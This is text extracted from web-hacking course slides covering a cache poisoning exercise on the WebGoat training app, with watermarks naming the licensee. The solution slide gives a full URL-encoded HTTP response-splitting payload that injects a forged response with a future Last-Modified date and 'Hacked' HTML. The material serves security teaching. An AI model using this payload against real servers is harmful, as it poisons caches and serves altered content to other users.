Exdemy.com
Personal Property of Keith Samborski
| my6967@yahoo.com

Other Attacks

Cache Poisoning

Copyright © Exdemy.com

Cache Poisoning

- Solve stage 2 of Response Splitting (Cache poisoning attack) on Webgoat

Exdemy.com
Keith Samborski
Perso
o.com

Copyright © Exdemy.com

Cache Poisoning - Solution

- Caching is used to temporarily store something to reduce load
- Cache poisoning attacks can happen when manipulating the last-modified header value to point to the future
  - You only need to insert last-modified header to HTTP Response Splitting stage payload
- It means your final encoded payload should be:
  - en%0AContent-Length%3A0%0A%0AHttp%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0ALast-Modified%3A%20Mon%2C%2028%20April%202038%2013%3A32%3A19%20GMT%0AContent-Length%3A%2021%0A%3Chtml%3E%20Hacked%20%3C%2Fhtml%3E%20%20

Exdemy.com
Personal property of Keith Samborski
mlyo5@yahoo.com

Copyright © Exdemy.com

Exdemy.com
Personal property of Keith Samborski
l_my69@yahoo.com

ZDResearch Advanced Web Hacking

ZDResearch

www.zdresearch.com

Copyright © Exdemy.com